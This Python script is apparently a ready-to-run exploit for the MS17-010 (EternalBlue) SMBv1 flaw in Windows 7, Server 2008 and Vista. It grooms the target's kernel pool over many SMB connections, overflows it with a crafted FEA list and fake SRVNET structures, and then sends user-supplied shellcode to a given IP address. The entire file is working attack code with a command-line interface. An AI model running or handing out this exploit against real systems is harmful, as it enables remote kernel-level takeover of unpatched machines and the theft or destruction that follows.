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ms17_010_eternalblue.py
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ms17_010_eternalblue.py
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#!/usr/bin/python
from impacket import smb
from struct import pack
import sys
import socket
NTFEA_SIZE = 0x11000
ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + b'A'*0xffde
ntfea11000 = (pack('<BBH', 0, 0, 0) + b'\x00')*600
ntfea11000 += pack('<BBH', 0, 0, 0xf3bd) + b'A'*0xf3be
ntfea1f000 = (pack('<BBH', 0, 0, 0) + b'\x00')*0x2494
ntfea1f000 += pack('<BBH', 0, 0, 0x48ed) + b'A'*0x48ee
ntfea = { 0x10000 : ntfea10000, 0x11000 : ntfea11000 }
'''
Reverse from srvnet.sys (Win7 x64)
- SrvNetAllocateNonPagedBufferInternal() and SrvNetWskReceiveComplete():
// for x64
struct SRVNET_BUFFER {
// offset from POOLHDR: 0x10
USHORT flag;
char pad[2];
char unknown0[12];
// offset from SRVNET_POOLHDR: 0x20
LIST_ENTRY list;
// offset from SRVNET_POOLHDR: 0x30
char *pnetBuffer;
DWORD netbufSize; // size of netBuffer
DWORD ioStatusInfo; // copy value of IRP.IOStatus.Information
// offset from SRVNET_POOLHDR: 0x40
MDL *pMdl1; // at offset 0x70
DWORD nByteProcessed;
DWORD pad3;
// offset from SRVNET_POOLHDR: 0x50
DWORD nbssSize; // size of this smb packet (from user)
DWORD pad4;
QWORD pSrvNetWskStruct; // want to change to fake struct address
// offset from SRVNET_POOLHDR: 0x60
MDL *pMdl2;
QWORD unknown5;
// offset from SRVNET_POOLHDR: 0x70
// MDL mdl1; // for this srvnetBuffer (so its pointer is srvnetBuffer address)
// MDL mdl2;
// char transportHeader[0x50]; // 0x50 is TRANSPORT_HEADER_SIZE
// char netBuffer[0];
};
struct SRVNET_POOLHDR {
DWORD size;
char unknown[12];
SRVNET_BUFFER hdr;
};
'''
TARGET_HAL_HEAP_ADDR_x64 = 0xffffffffffd00010
TARGET_HAL_HEAP_ADDR_x86 = 0xffdff000
fakeSrvNetBufferNsa = pack('<II', 0x11000, 0)*2
fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2
fakeSrvNetBufferNsa += b'\x00'*16
fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20)
fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0x60, 0x1004, 0)
fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86-0x80, 0, TARGET_HAL_HEAP_ADDR_x64)
fakeSrvNetBufferNsa += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0)
fakeSrvNetBufferNsa += pack('<QHHI', 0, 0x60, 0x1004, 0)
fakeSrvNetBufferNsa += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80)
fakeSrvNetBufferX64 = pack('<II', 0x11000, 0)*2
fakeSrvNetBufferX64 += pack('<HHIQ', 0xffff, 0, 0, 0)
fakeSrvNetBufferX64 += b'\x00'*16
fakeSrvNetBufferX64 += b'\x00'*16
fakeSrvNetBufferX64 += b'\x00'*16
fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64)
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0)
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0)
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80)
fakeSrvNetBuffer = fakeSrvNetBufferNsa
feaList = pack('<I', 0x10000)
feaList += ntfea[NTFEA_SIZE]
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuffer)-1) + fakeSrvNetBuffer
feaList += pack('<BBH', 0x12, 0x34, 0x5678)
fake_recv_struct = pack('<QII', 0, 3, 0)
fake_recv_struct += b'\x00'*16
fake_recv_struct += pack('<QII', 0, 3, 0)
fake_recv_struct += (b'\x00'*16)*7
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0)
fake_recv_struct += b'\x00'*16
fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0)
fake_recv_struct += (b'\x00'*16)*11
fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190)
fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0)
fake_recv_struct += (b'\x00'*16)*3
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0)
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1)
def getNTStatus(self):
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
def sendEcho(conn, tid, data):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
transCommand['Parameters'] = smb.SMBEcho_Parameters()
transCommand['Data'] = smb.SMBEcho_Data()
transCommand['Parameters']['EchoCount'] = 1
transCommand['Data']['Data'] = data
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('got good ECHO response')
else:
print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))
def createSessionAllocNonPaged(target, size):
conn = smb.SMB(target, target)
_, flags2 = conn.get_flags()
flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
if size >= 0xffff:
flags2 &= ~smb.SMB.FLAGS2_UNICODE
reqSize = size // 2
else:
flags2 |= smb.SMB.FLAGS2_UNICODE
reqSize = size
conn.set_flags(flags2=flags2)
pkt = smb.NewSMBPacket()
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Parameters']['MaxBufferSize'] = 61440
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VcNumber'] = 2
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['SecurityBlobLength'] = 0
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY
sessionSetup['Data'] = pack('<H', reqSize) + b'\x00'*20
pkt.addCommand(sessionSetup)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('SMB1 session setup allocate nonpaged pool success')
else:
print('SMB1 session setup allocate nonpaged pool failed')
return conn
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
structure = (
('TotalParameterCount','<H=0'),
('TotalDataCount','<H'),
('ParameterCount','<H=0'),
('ParameterOffset','<H=0'),
('ParameterDisplacement','<H=0'),
('DataCount','<H'),
('DataOffset','<H'),
('DataDisplacement','<H=0'),
('FID','<H=0'),
)
def send_trans2_second(conn, tid, data, displacement):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
transCommand['Data'] = smb.SMBTransaction2Secondary_Data()
transCommand['Parameters']['TotalParameterCount'] = 0
transCommand['Parameters']['TotalDataCount'] = len(data)
fixedOffset = 32+3+18
transCommand['Data']['Pad1'] = ''
transCommand['Parameters']['ParameterCount'] = 0
transCommand['Parameters']['ParameterOffset'] = 0
if len(data) > 0:
pad2Len = (4 - fixedOffset % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
transCommand['Parameters']['DataCount'] = len(data)
transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
transCommand['Parameters']['DataDisplacement'] = displacement
transCommand['Data']['Trans_Parameters'] = ''
transCommand['Data']['Trans_Data'] = data
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
command = pack('<H', setup)
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
transCommand['Parameters']['MaxSetupCount'] = 1
transCommand['Parameters']['MaxParameterCount'] = len(param)
transCommand['Parameters']['MaxDataCount'] = 0
transCommand['Data'] = smb.SMBTransaction2_Data()
transCommand['Parameters']['Setup'] = command
transCommand['Parameters']['TotalParameterCount'] = len(param)
transCommand['Parameters']['TotalDataCount'] = len(data)
fixedOffset = 32+3+38 + len(command)
if len(param) > 0:
padLen = (4 - fixedOffset % 4 ) % 4
padBytes = '\xFF' * padLen
transCommand['Data']['Pad1'] = padBytes
else:
transCommand['Data']['Pad1'] = ''
padLen = 0
transCommand['Parameters']['ParameterCount'] = len(param)
transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen
if len(data) > 0:
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
transCommand['Parameters']['DataCount'] = firstDataFragmentSize
transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
transCommand['Data']['Trans_Parameters'] = param
transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
conn.recvSMB()
i = firstDataFragmentSize
while i < len(data):
sendSize = min(4096, len(data) - i)
if len(data) - i <= 4096:
if not sendLastChunk:
break
send_trans2_second(conn, tid, data[i:i+sendSize], i)
i += sendSize
if sendLastChunk:
conn.recvSMB()
return i
def createConnectionWithBigSMBFirst80(target):
sk = socket.create_connection((target, 445))
pkt = b'\x00' + b'\x00' + pack('>H', 0xfff7)
pkt += b'BAAD'
pkt += b'\x00'*0x7c
sk.send(pkt)
return sk
def exploit(target, shellcode, numGroomConn):
conn = smb.SMB(target, target)
conn.login_standard('', '')
server_os = conn.get_server_os()
print('Target OS: '+server_os)
if not (server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os) or server_os.startswith("Windows Vista")):
print('This exploit does not support this target')
sys.exit()
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, 2000, False)
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010)
srvnetConn = []
for i in range(numGroomConn):
sk = createConnectionWithBigSMBFirst80(target)
srvnetConn.append(sk)
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)
allocConn.get_socket().close()
for i in range(5):
sk = createConnectionWithBigSMBFirst80(target)
srvnetConn.append(sk)
holeConn.get_socket().close()
send_trans2_second(conn, tid, feaList[progress:], progress)
recvPkt = conn.recvSMB()
retStatus = recvPkt.getNTStatus()
if retStatus == 0xc000000d:
print('good response status: INVALID_PARAMETER')
else:
print('bad response status: 0x{:08x}'.format(retStatus))
for sk in srvnetConn:
sk.send(fake_recv_struct + shellcode)
for sk in srvnetConn:
sk.close()
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()
if len(sys.argv) < 3:
print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
sys.exit(1)
TARGET=sys.argv[1]
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])
fp = open(sys.argv[2], 'rb')
sc = fp.read()
fp.close()
print('shellcode size: {:d}'.format(len(sc)))
print('numGroomConn: {:d}'.format(numGroomConn))
exploit(TARGET, sc, numGroomConn)
print('done')